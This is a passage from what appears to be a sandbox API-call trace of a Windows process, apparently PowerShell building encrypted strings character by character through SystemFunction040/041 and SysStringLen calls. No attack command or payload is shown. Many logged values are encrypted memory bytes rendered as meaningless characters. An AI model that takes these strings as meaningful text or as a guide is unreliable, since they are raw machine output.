Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.919] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m1zODン") returned 0x28 [0190.919] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.919] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹⾍九夬䋡䈇荐") returned 0x28 [0190.919] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹⾍九夬䋡䈇荐") returned 0x28 [0190.920] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.920] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m1zOD4") returned 0x28 [0190.920] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.920] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹⪳⇍ﾸ탇ᆔᤳꝅ") returned 0x28 [0190.920] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹⪳⇍ﾸ탇ᆔᤳꝅ") returned 0x28 [0190.920] SystemFunction041 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.920] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m1zOD4v") returned 0x28 [0190.920] SystemFunction040 (in: Memory=0x3c0d04, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d04) returned 0x0 [0190.920] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子") returned 0x28 [0190.921] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子") returned 0x28 [0190.921] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子") returned 0x28 [0190.921] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子") returned 0x30 [0190.921] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0190.921] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m1zOD4vU崁❁黋斘貴陫") returned 0x30 [0190.921] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0190.921] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子瑾㔫싓뷭ꉙ䴎㛒뙓") returned 0x30 [0190.921] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子瑾㔫싓뷭ꉙ䴎㛒뙓") returned 0x30 [0190.922] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0190.922] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m1zOD4vU1❁黋斘貴陫") returned 0x30 [0190.922] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0190.922] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子Ѿ棚Ꟍ㡔꽛ꓢ") returned 0x30 [0190.922] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子Ѿ棚Ꟍ㡔꽛ꓢ") returned 0x30 [0190.922] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0190.923] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m1zOD4vU1M❁黋斘貴陫") returned 0x30 [0190.923] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0190.923] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子ᘑ၉슻౦젳牱\鯘⊫) returned 0x30 [0190.923] SysStringLen (param_1="䔍\ꃞ\穩䳖㟻␘ᗱ增騑搳㴉巧灀ሻ▉魄晱ᴶ꺪҄ﱠ쥻⏝㧦䎀◹䥍斔荤鶏ᔤ폧ￇ子ᘑ၉슻౦젳牱\鯘⊫) returned 0x30 [0190.923] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0190.923] SysStringLen (param_1="wIn0WXQJ9Kpr2/JCk2YaADkp30eX3GjO6m1zOD4vU1M=黋斘貴陫") returned 0x30 [0190.923] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0190.923] EtwEventActivityIdControl () returned 0x0 [0190.923] EtwEventActivityIdControl () returned 0x0 [0190.924] EtwEventActivityIdControl () returned 0x0 [0190.925] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.925] EtwEventActivityIdControl () returned 0x0 [0190.925] EtwEventActivityIdControl () returned 0x0 [0190.925] EtwEventActivityIdControl () returned 0x0 [0190.926] SysStringLen (param_1="") returned 0x8 [0190.926] SysStringLen (param_1="N") returned 0x8 [0190.926] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.927] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0190.927] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0190.927] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.927] SysStringLen (param_1="ND") returned 0x8 [0190.927] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.927] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0190.927] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0190.927] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.927] SysStringLen (param_1="NDZ") returned 0x8 [0190.928] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.928] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0190.928] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0190.928] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.928] SysStringLen (param_1="NDZl") returned 0x8 [0190.928] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.928] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0190.928] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0190.928] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.928] SysStringLen (param_1="NDZlO") returned 0x8 [0190.929] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.929] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0190.929] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0190.929] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.929] SysStringLen (param_1="NDZlOD") returned 0x8 [0190.929] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.929] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0190.929] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0190.929] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.930] SysStringLen (param_1="NDZlODR") returned 0x8 [0190.930] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.930] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0190.930] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0190.930] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.930] SysStringLen (param_1="NDZlODRm") returned 0x8 [0190.930] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.930] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.931] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.931] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.931] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0190.931] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.931] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0190.931] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.931] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0190.931] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0190.931] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.932] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0190.932] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.932] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0190.932] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0190.932] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.932] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0190.932] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.932] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0190.932] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0190.932] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.933] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0190.933] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.933] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0190.933] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0190.933] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.933] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0190.933] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.933] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0190.933] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0190.933] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.933] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0190.933] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.933] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0190.934] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0190.934] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.934] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0190.934] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.934] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0190.934] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0190.934] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.934] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0190.934] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.934] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0190.935] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.935] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0190.935] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0190.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0190.935] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.935] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0190.935] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0190.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0190.935] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.936] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0190.936] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0190.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0190.936] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.936] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0190.936] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0190.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0190.936] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.936] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0190.936] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0190.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0190.937] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.937] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0190.937] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0190.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0190.937] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.937] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0190.937] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0190.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0190.938] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.938] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0190.938] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0190.939] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.939] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0190.939] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0190.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0190.939] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.939] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0190.939] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0190.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0190.939] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.939] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0190.940] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0190.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0190.940] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.940] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0190.940] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0190.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0190.940] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.940] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0190.940] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0190.940] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0190.940] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.941] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0190.941] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.941] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0190.941] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0190.941] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.941] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0190.941] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.941] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0190.941] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0190.941] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.941] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0190.941] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.942] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.942] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.942] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.942] SysStringLen 